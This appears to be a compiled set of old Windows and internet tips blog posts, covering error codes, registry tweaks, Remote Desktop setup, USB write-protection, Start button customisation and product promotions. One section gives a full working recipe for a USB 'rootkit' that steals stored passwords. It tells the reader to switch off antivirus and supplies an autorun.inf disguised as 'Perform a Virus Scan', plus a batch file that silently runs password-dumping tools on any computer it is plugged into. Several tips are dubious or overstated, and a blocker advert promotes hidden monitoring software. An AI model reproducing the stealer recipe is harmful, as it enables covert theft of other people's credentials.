Internet Error Codes and Meaning

Sometime you are browsing the internet and trying to open any website, your e-mail and any FTP sites , but you see different error codes there. You should be familiar with these error codes. You can solve these problems if you are well-known with the meaning of error codes.

Error Codes                         Meaning

400                               This is bad request error, First check you may be typing wrong URL name and server could not understand your request.

401                              You are trying to open any unauthorized access site or page. Check your username and password if you are trying to open any webpage.

402                               Payment Required Error

403                             You are trying to open any forbidden page and you are blocked by that domain.

404                                   Here you are trying to open the webpage that was removed or re-named, also check the URL spelling.

408                              This is time out error. you should send the request with in time that the server set for you.

Problem with internet dial-up connection

When you are browsing your favorite websites using dial-up internet connection, your incoming calls can create problem with your modem if the call waiting option in your modem sittings is enable. Your modem may be hangs up and disconnects the internet connection frequently. Normally when you disabled the call waiting option in your modem sitting and any body tries to call you, he will get the busy beep during internet connected. You should always disable the call waiting option to avoid modem disconnectivity or hangs up.

• To disable the call waiting option, first click on Start button, then Network Connections.
• Here double click on your internet connection and click on Properties button then General.
• Under General tab select Use Dialing Rules box then click on dialing rules button.
• Here select My Location then click on Edit button. Under General tab select the option To disable call waiting dial and put any number in next box like *32.
• At the end click on Ok button and dial your connection again.

How to Use Word 2007 as a Tool for Blogging

Microsoft Word has always been a great tool for writing documents. Microsoft Word 2007 is no exception. A new and superb feature has been added to Microsoft Word 2007. In addition to all the useful features which it shares with the previous versions of Microsoft Word, this new feature allows you to use Word 2007 as a tool for blogging. You can easily post something to your personal blog through Word 2007. It provides you with the opportunity to write as many words as you like for your blog. You can also write very short posts if you want.

Follow these simple steps in order to use Word 2007 as a tool for blogging:

Open a blank Word document and click on the Office button.

Click on New and select New blog post.

A new ribbon displaying the blogging tools will appear. Click on the button of  Manage Accounts.

Click on New as the next dialog box appears.

The following dialog box will appear:

You will have to choose the platform you use for blogging from the list e.g. WordPress and click on the Next button.

Fill in the information for your website and decide whether you want it to remember the password or not. You can also see the Picture Options button as Word 2007 is capable of uploading images to some blogging platforms.

You can start writing for your blog right away.

After finishing writing, click on Publish and select how you want to publish it. You can also open an older post in Word 2007 by clicking on the Open Existing button.

As you use Word 2007 as a tool for blogging, you will be able to add categories to the blog posts, and Word 2007 will immediately connect to the blogging platform you use and download the listing of categories.  

If you like to use Word for writing your documents, you now have the option to use it for writing posts for your personal blogs. It has now become an incredible post editor as you can use Word 2007 as a tool for blogging.

Optimizing Windows Speed

How to optimize the Windows performance by removing unwanted programs from startup using windows registry. Applicable to Windows XP, Vista, Windows 2000, windows 98 and windows server.

I will start hacking tips with a very useful and easy to do job. Most of us face this problem of computer slowing down; windows operating system takes ages to load when started, windows explorer hangs up and also how to find out whether your computer is infected.

Follow these steps:
1. Start and click on run in case of windows XP, Server, windows 98, and 2000 but in vista type directly in search box.

2. Type Regedit in the run box to open registry editor.

3. Go to file menu and click on export to create a back up of registry, save it on your drive other than your default windows directory.

Find out the current programs which are starting up with windows
After opening Registry editor click on HKEY_LOCAL_MACHINE

Software\
Microsoft\
Windows\
Current Version\
Run

You will see something like this on right hand pane in your registry editor

Now it’s time to get rid of the programs those slow down your operating system and possible may be a Trojan horse hiding in your hard disk.

Right click on any program to delete the entry, which you don’t want to be loaded during startup; personally I would only keep anti virus program entries.

Now you can repeat the same process with HKEY_LOCAL_USER entries and keep only Cftmon.exe for your computer sound to be working.

After deleting the unwanted program registry entries, restart the system and feel the difference in speed. If you are confused about which entries to be deleted from registry editor or want to know whether it’s a Trojan or useful program.

Protect Your Web Server From Hackers

Creating your own website is not simply about putting some pages and information online. Ensuring the security of your website is a bigger and highly crucial task. Most websites these days have a dedicated web server that gives them the leverage to grow and develop further. Basically the websites with a high volume of web traffic, a heavy database and complex application specifications require an exclusive web server. It is extremely important to hack proof your web server in order to protect your website and business.

There are a great number of hackers out there in the web world who are looking for opportunities to exploit your web server and cause serious damage. These hackers look to deface the websites with malicious content, use the scripts on the server to send out spam or phish out the personal sensitive information of the website users.

Such attacks also attempt to tamper with parameters and gain access to confidential files or cross-site scripting or cookie poisoning to alter the customer data. These kinds of invasions can prove to be fatal for e-commerce and finance based websites. To prevent your web server from falling prey to such web attacks, here are some important recommendations and anti hacking tips.You need to follow a two-pronged approach to safeguard your web server from any hackers.

The first layer is a firewall that exists to block any unwarranted unused Internet ports. A good firewall will use a rule based access system to allow only the legitimate users to enter and filter out as well as obstruct any malicious traffic from accessing the server. Also create strong passwords that use a combination of characters, numbers and special characters in order to keep the password hackers at bay.

The second element is to put in place an intrusion protection service. This is a more sophisticated approach to deal with hackers wherein you stop the illegitimate entry of users at the source itself. If a firewall works on the front line, an intrusion protection system works on the back end to deal with the enemies. This involves putting all the compromised hosts in the quarantine section and letting the genuine users move through efficiently. But setting up such an anti-hacking arrangement is only the first step. The hackers are moving fast and ahead with newer techniques to break into and sabotage the web servers. So, you need to continually update and monitor the filters, blacklists and all other aspects.

Improve Your Computer’s Performance

Tips for Speeding Up Your PC

Few things are as frustrating as dealing with a slow, sluggish computer. When a computer is brand new, it works wonderfully well. Over time, though, its performance can slowly begin to worsen.

This happens for a number of reasons, but the biggest culprits are things like spyware, adware and other computer threats that are unwittingly downloaded along with other content while online. You don’t have to download thousands of MP3s, movies or other items to experience these problems, either – nobody is immune to them. Instead of accepting the situation, there are plenty of techniques and strategies that you can use to make it better – a few of the best ones are outlined below.

 *1: Clean Your Computer’s Windows Registry

The biggest cause of slow, sluggish PC performance is errors and problems within its Windows registry. Adware, spyware and other threats usually target the registry, damaging or misplacing important files within it. When it comes to PC cleaning, a daily Windows registry cleaning should be at the top of your list of priorities. However, this should never be done manually – there are too many opportunities for major errors that could seriously damage your PC’s operating system. Instead, invest in a high-quality Windows registry cleanup program and configure it to run once per day – you won’t believe the difference that it makes.

*2: Remove Unneeded Files

Every time you log on to the Internet or otherwise use your computer, temporary files are generated. They are usually only needed once; however, they don’t disappear on their own. Instead, they accumulate over time until they are cluttering up your computer’s file system and affecting its performance. While it’s possible to remove these files one-by-one, it’s much easier and quicker to use a PC cleaning tool that’s designed for the purpose. Try to do so about one time per week to keep your computer humming along with ease.

*3: Remove Unneeded Programs

Like many people, you probably download and try out many different programs each month. How many of them do you actually end up using on a regular basis? Chances are, not very many of them. By getting into the habit of uninstalling unused and unneeded programs, you can keep your computer’s file system a lot less cluttered. In turn, your PC’s performance will improve dramatically. You can optimize your computer in this way by using its Add/Remove Programs feature. Its location varies by operating system, but you should be able to find it somewhere in the Control Panel.

*4: Empty the Recycle Bin

When you click “delete” on a file or a program, it doesn’t go away for good – not immediately, anyway. Instead, it sits in a kind of purgatory in your computer’s Recycle Bin. As things pile up in the Recycle Bin, your computer can start exhibiting some very annoying problems. If sluggish startups and frequent crashes are occurring with increasing frequency – and your computer’s recycle bin is very full – go ahead and empty it. From then on, get into the habit of doing so about one time per week. This small but important strategy can make a huge difference.

*5: Perform a Disk Defragmentation

Windows isn’t very efficient when it comes to storing files. It actually splits them up, depositing them into whatever spaces are available. The more spaced apart the pieces of a file are, the harder your computer has to work to make them run. The Windows disk defragmentation system tune-up utility works to piece all of those files back together again. The process is a long one, though, and only needs to be done about four times per year. Set it up to run automatically once every three months. By doing so, you’ll be able to keep your computer running in tiptop shape.

When it comes to keeping your computer running optimally, small but regular maintenance is the best way to go. Protecting your PC only does so much; even the most careful Internet users in the world unintentionally download malicious software from time to time.

By using basic system tune-up tools, cleaning your computer’s Windows registry regularly, performing regular file-cleaning maintenance and otherwise optimizing your PC, you should be able to keep it in like-new condition for a lot longer. Even if your computer has been performing slowly for some time, beginning this regimen is sure to produce results. In the end, you’ll be able to enjoy a computer that flies along – instead of one that spins its wheels.

Get Facebook Email Address |||| Invitation to Messages

Facebook has just new features in which it will give email addresses to users, at this time facebook email id is not open to everyone, you have to request invitation.

In order to get a invite to this new service you need to visit following link where in you would be asked to click on the ‘Request Invite’ button.

http://www.facebook.com/about/messages/

if you are lucky you will get the yourname@facebook.com email id (Email System) as soon as possible. Please note that Your email address will match your public username, for example:

Profile: facebook.com/username

Then your email address will be

Email: username@facebook.com

If you don’t have a username you can go here facebook.com/username/ to get or click below

http://www.facebook.com/username/

Disabling Windows Vista and 7 Login at Startup

When you start your Windows Vista or Windows 7 computer, by default the system makes you enter your password to log in. Here’s a way to get around it.

When you first install Vista or 7 and start using it, you are required to enter in a password for your account. But after that, you’re not really given a choice to remove the password if you don’t want it. You’re just sort of stuck typing it in every time and that can get old rather quickly!

If you’re not the only one who uses your computer, consider leaving it this way. It is a good security feature and it helps to keep all of the different accounts, files and preferences separate from each other. But if you’re the only one who ever uses your computer, you should be able to get rid of the password prompt if you want.

If you’d like to bypass the Windows Vista and 7 log on process and remove your password, just follow these steps:

1. Go to Start, Control Panel.
2. Click on the User Accounts and Family Safety link.
3. Next, click on the User Accounts link.
4. Under the “Make changes to your user account” section, click on the Remove Your Password link for your account.
5. On the next screen that comes up, enter in your current password.
6. Click on the Remove Password button to confirm everything.
7. Close out of all the open windows and restart your computer. That will allow you to test the system to make sure your password really was removed.

From now on, when you start up your Vista computer, you will be taken to your desktop automatically and you will no longer have to worry about a password.

How to Write-Protect Your USB Flash Drive

Many a time, it becomes necessary for us to write protect our USB flash drive so as to protect it from viruses and other malware programs. Because flash drives are so popular and most widely used to move data between computers, they are the prime target for attackers as a means to get infections spread around the computer world. Also, since USB drive is not a Read-Only Memory (ROM), the data inside it can easily be modified or deleted by malware programs.

But unfortunately, most of the new flash drives do not come with a write-protect feature as the manufacturers wish to cut down the cost of production. Hence, the only way to write-protect your USB flash drives is to enable this feature on your own computer.

This can be done by adding a small entry to the Windows registry which acts as a switch that can be enabled to make use of the write protection or disabled to allow write access. Just follow these steps:

1. Open the Registry Editor (Open the “Run” dialog box, type regedit and hit “Enter”).

2. Navigate to the following Registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
3. Create a New Key named as StorageDevicePolicies. To do this right-click on Control, and click on New->Key and name it as StorageDevicePolicies.

4. Now right-click on StorageDevicePolicies and create a New->DWORD (32-bit) Value and name it as WriteProtect.

5. Double-click on WriteProtect and set the Value data to 1.

Now the right-protection for USB drives is enabled on your computer (no restart required) and thus it would not be possible for anyone or any program to add/delete the contents from your USB flash drive. Any attempt to copy or download the files onto the USB drive will result in the following error message being displayed.

To revert and remove the write-protection, all you need to do is just change the Value data for WriteProtect (Step-5) from 1 back to 0. Now write access to all the USB devices is re-enabled.

Sometimes it may seem difficult to remember and follow the above mentioned steps each time you want to enable/disable the write protection. Hence as an alternative way, there are many tools available to automatically enable/disable the write-protection feature. One of my favorite tool is USB Write Protect by Naresh Manadhar. Using this tool you can limit write access to your USB drives with just a click of a button.

How to Recover Deleted Files from Windows and Mac

Have you accidentally deleted your files from the Hard disk? Do you desperately want to recover them back? Well you need not panic! It is possible to recover the deleted files back from the hard disk (even after you have Shift+Deleted) provided you act as soon as you realize that the files are deleted and use the best deleted files recovery software. In this post you will find a detailed information on how to recover the deleted files from your Windows PC or Mac.

Today there exists hundreds of data recovery tools and softwares on the market which boast to recover 100% of all the deleted files back in the original condition. But in reality most of these softwares are neither effective nor capable of recovering your files back. So it is very much necessary to make the right choice of the file recovery software in order to recover deleted files back in the original condition. We recommend the following softwares to recover the deleted files

1. Stellar Phoenix Data Recovery (for Windows)

2. Stellar Phoenix Mac Data Recovery (for Mac)

Stellar Phoenix is one of the best company specializing in deleted files recovery services and solutions since 1993. Stellar’s Data Recovery Solutions encompasses a wide range of software for almost any data loss situation ranging from accidental formats to virus attacks to software malfunctions. Hence Stellar provides the best tools to recover deleted files with over 1,000,000 satisfied customers across 137 countries.

How the File Deletion Process Works?

When you delete a file from your computer (or even from the recycle bin) the file is not actually deleted. Unlike what most people think, the file is not permanantly deleted or dropped from your hard disk. Let’s take an example of a book containing 50 pages. Suppose when you delete the page 25, assume that only the entry in the index which points to the page 25 is deleted and not actually the page 25 itself. Likewise when you delete a file from your hard disk, only the pointer which points to this file is removed and not actually the file itself. This file still exists intact and is 100% possible to recover it back in the original condition. In this condition the file becomes invisible and hence appears to have deleted.

What are the Chances of Recovering my Files Back?

Since the operating system doesn’t immediately re-use the space from the deleted files, it is most certainly possible to recover the deleted files back in 100% original condition. It may take up a very long time for those files to be completely deleted since the modern hard disks have ample capacity. Hence the chances are too less that the space from the deleted files are re-used immediately. So, it is really worth to try out the file recovery softwares like Stellar Data Recovery for Windows or Stellar Data Recover for Mac. Some files are reported to have recovered even after years of it’s deletion. However for the best results, it is recommended that you use the file recovery software as immediately as possible to recover your files.

Recovering the Deleted Files

In order to recover the deleted files all you need to do is perform a scan (search) for the deleted files using a File Recovery Software. Please be informed that there is no manual way to recover the deleted files. The Phoenix Data Recovery software performs a thorough scanning of the hard disk sector by sector and will locate the existence of deleted files to restore them back in the original condition. It is the only software that supports 185 popular file types including Windows NT Registry, JPEG, MP4, GIF, BMP and MS Word files. The software offers rich graphical support and incorporates advanced scanning methods to completely scan and recover deleted files from your hard drive. With this you can

Recover FAT16, FAT32, VFAT, NTFS, and NTFS5 file system partitions
Recover deleted emails
Recover deleted documents
Recover deleted photos
Recover deleted music
Formatted Hard-Drive recovery
Recover files from USB Drives, CDs, DVDs and memory cards
Recover almost all the camera format files
Visit the following links for more information on Stellar Data Recovery

1. Stellar Phoenix Data Recovery (for Windows)

2. Stellar Phoenix Mac Data Recovery (for Mac)

Connect your home computer from Remote location

Using the Remote Desktop feature, you can connect your home computer (host) from any other remote computer (client) and can access all computer resources (installed programs, data and any network resources). You can run any computer application on the remote computer as you were running actually sitting in front of home computer.

Follow the given steps to configure your computer to connect remote computer:

To use this feature, you will need to be logged into your computer with administrative rights.

To perform this task, first make sure your both computers are connected to the internet.

First you have to configure the host computer that allows the users to connect it remotely. On the host computer, right click on “My computer” and click on Properties option.

Under the Remote tab, select the option “Allow users to connect remotely to this computer” and click Ok button.

Now get the IP address of host computer (type the “ipconfig /all” on the command prompt of host computer to find IP address).

Now make a connection on remote or client computer, click on Start button, go to All Programs> Accessories, and Communications, then click on Remote Desktop Connection, option. A Remote Desktop Connection, dialog box will appear.

Click on Options button for detail configuration, under the General tab, type the IP address of host computer in the Computer box and also type username and password of host computer then click on Connect button to make a connection to remote computer.

If your username and password is correct then a remote desktop windows will appear.

Block Internet Porn

Due to a rapid increase in the number of porn websites across the Internet, finding porn is as simple as Googling the word ‘sex’. Exposure to pornography can have a serious impact on children since it has the ability to easily distort the tender minds. If you are a parent, then you are most likely reading this because you are in search of a Porn Blocker to block Internet Porn. In fact, it is the responsibility of every parent to take every necessary step to prevent your child from being exposed to porn. In this post I will introduce you to an excellent porn blocker/porn filtering software using which you can block Internet porn and keep your computer Porn-Free. Here is the best Porn Blocker tool that I have ever used

My Porn Blocker – No1. Porn Filtering Software

My Porn Blocker main features

1. Block Porn Before it Appears – My Porn Blocker silently works in the background and stops harmful sites before they appear.

2. Integrates with all Search Engines – My Porn Blocker blocks links to porn sites from even appearing on search engines.

3. Works in Complete Stealth Mode – My Porn Blocker runs silently by hiding itself from the taskbar, process list, start menu and add/remove programs.

4. Blocks all Chat Softwares – Using My Porn Blocker it is possible to restrict your child from getting exposed to porn world via chatting.

5. Block/Limit Access to Social Networking sites – My Porn Blocker offers a feature by which you can block or limit access inappropriate services like MySpace and facebook.

6. Automatic Screenshot Capture – My Porn Blocker has the ability to take high quality screenshots which shows what your children do on the PC when you are away.

7. URL Logging- My Porn Blocker keeps neat and simple logs of every URL visited.

This is only a small list of it’s features. Visit My Porn Blocker Official Website for more information on this product.

Why My Porn Blocker is the Best?

The patented design of My Porn Blocker has a prominent advantage over the usual way most similar porn blocker software applications function. Most Porn Blockers fail to provide a complete solution to the problem caused by pornographic content. Hundreds to thousands of new porn websites are added to the Internet every minute and hence most porn blockers fail to filter the porn effectively. However after testing a number of porn filter programs, I found out this excellent porn filter software called My Porn Blocker. It proves an easy but still a very effective tool to combat porn and keep your child away from pornographic content on the Web. It also contains many additional handy features which no other program on the Internet will offer. So we recommend this as the best porn filtering software on the Internet.

The Verdict – If you are really serious to keep your PC out of porn and are in search of the best porn filtering software then My Porn Blocker is the tool you should go for. So go grab My Porn Blocker now

How to Sniff Passwords Using USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Windows SEND TO MENU |||| Simply Change XP Start Button Name

Windows SEND TO MENU
How often do you copy songs from a CD? Or some photos from a CD?
What do you do? You select the required files and do a CTRL –C. Open the destination folder and do a CTRL-V. Here is something you can benefit time from. Customize your SEND TO MENU.
This sounds simple and you can do it in less than sixty seconds.
You can create your own BASKET.
First you’ll need access to hidden files. So change your view settings to make all hidden files visible.
Tools -> folder options -> view (tab) and select the show hidden files and folders.
go to parent drive:/documents and settings/(user name)/send to
Open up my computer and locate your most used folders.
Create a shortcut of the most used folders in SEND TO FOLDER.You can do this in a number of ways.
Right click -> send to desktop(create shortcut) and move the shortcut from the desktop to the SEND TO FOLDER
Copy the most used folder and go to SEND TO FOLDER and right click -> paste shortcut.
Also remember to rename the shortcuts to send to videos or send to potos. We don’t need confusion when we use the same later.
5. DONE.
Simply Change XP Start Button Name
I’ve read a number of articles on the internet about changing the text on the Start button in XP. On more than one occasion I’ve seen references to a five (5) letter limitation when the button is renamed. I always wondered if this was true or just an assumption someone made because the default ‘start’ just happened to fit the button size. So, I decided to run a test and see if there really was a five character limit.
First of all just u need to do is download Resource hacker.
Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems.

Customize Start Menu Button in Windows 7

Have you ever wondered how to customize the start menu button in Windows 7? Well it is possible to spice up your copy of Windows 7 by giving a new look to the start menu button. Here is a detailed tutorial on how to do it. The following images shows a preview of how your start menu would look like before and after the customization process is done.

Default Start Menu Button

Customized Start Menu Button

Tools That You Need:
1. Resource Hacker

2. Custom Start Menu icons (images). It mush be of the size 54×162 with a .bmp extension. which looks something as follows

They must be in the following order:

1st Image – When the button is not in use
2nd Image – When the mouse pointer is over the button
3rd Image – When the button is clicked

I have created a few customized buttons which are ready to use. You can download them from the following link.

Start Menu Buttons Download

Once you have all those resources ready, you can start the customization process as follows…

1. Take the ownership of the file “explorer.exe“ which is located in the Windows Folder (Most likely in C:\Windows).

2. Open the Resource Hacker Tool.

3. Go to File menu and click on Open. Now load the file “explorer.exe” into the Resource Hacker.

4. Expand Bitmap branch in the left pane.

5. Now expand 6801 option, right-click on 1033 and select Replace Resource option.

6. A new window appears. Click on Open file with new bitmap button.

7. Navigate to the customized (.bmp) image, open it and click on Replace button.

8. Repeat steps 4 to 7 above for the options 6805 and 6809 as well.

9. Now click on Save option (File->Save). Resource Hacker will automatically create a backup file called explorer_original.exe so that you can restore it in the future if needed.

10. Log Off and Log On to see the changes in effect.

NOTE: If you are running 64-bit edition of Windows 7, then you need to use Resource Hacker version 3.5.2 beta which is 64-bit compatible. It is available from the same link provided above.
I hope you enjoy this trick. Pass your comments and share your experience.

How to disable search history display in Windows 7

Windows 7 automatically saves all the recent searches done by the users. Some people are annoyed by this feature as the last three searches become visible under the search box as you start typing in it. If the computer is shared by others, you might not want others to see your past searches. There is a way in which you can disable search history display in Windows 7. However, you cannot disable search history display in Windows 7 Home editions. This is due to the fact that you need to utilize the Group Policy Editor for achieving this goal and it is not available in the Home versions. Follow these steps to disable search history display in Windows 7:

Enter gpedit.msc in the search box of the Start menu. Press Enter. This will open the Local Group Policy Editor.

Scroll down to User Configuration \ Administrative Templates \ Windows Components \ Windows Explorer.

Double-click on Turn off display of recent search entries in the Windows Explorer search box on the right hand side of the dialog box.

Select Enabled and click on the Apply button.

Click on the OK button.

Close out of the Group Policy Editor.

From now on, you won't be bothered by the display of recent search history as you start typing into the search box.

How to create a shortcut for locking the Computer Screen in Windows 7

There are many ways in which you can lock the computer screen. The most popular as well as the fastest way to lock it is to use a keyboard shortcut. The keyboard shortcut used to lock the computer screen is Win+L. A few of us choose to utilize the mouse to lock it. And of course many people like to use both the options.

There is another method in which we can lock the computer screen. It is to create a shortcut for locking the computer screen in Windows 7. You can create a shortcut for locking the computer screen in Windows 7, XP and Vista too. Follow these steps in order to create a shortcut for locking the computer screen in Windows 7 as well as other editions:

Right-click on the desktop where you would like to create the shortcut.

Point to New.

Click on Shortcut from the menu.

Type in this text in the shortcut textbox. (This text will work for Windows XP as well even though the screen will be different)

rundll32.exe user32.dll, LockWorkStation

Click on the Next button.

Type in a name for your shortcut.

Click on the Finish button.  

You have successfully created a shortcut to lock your workstation. Just click on the shortcut whenever you want to lock the computer screen.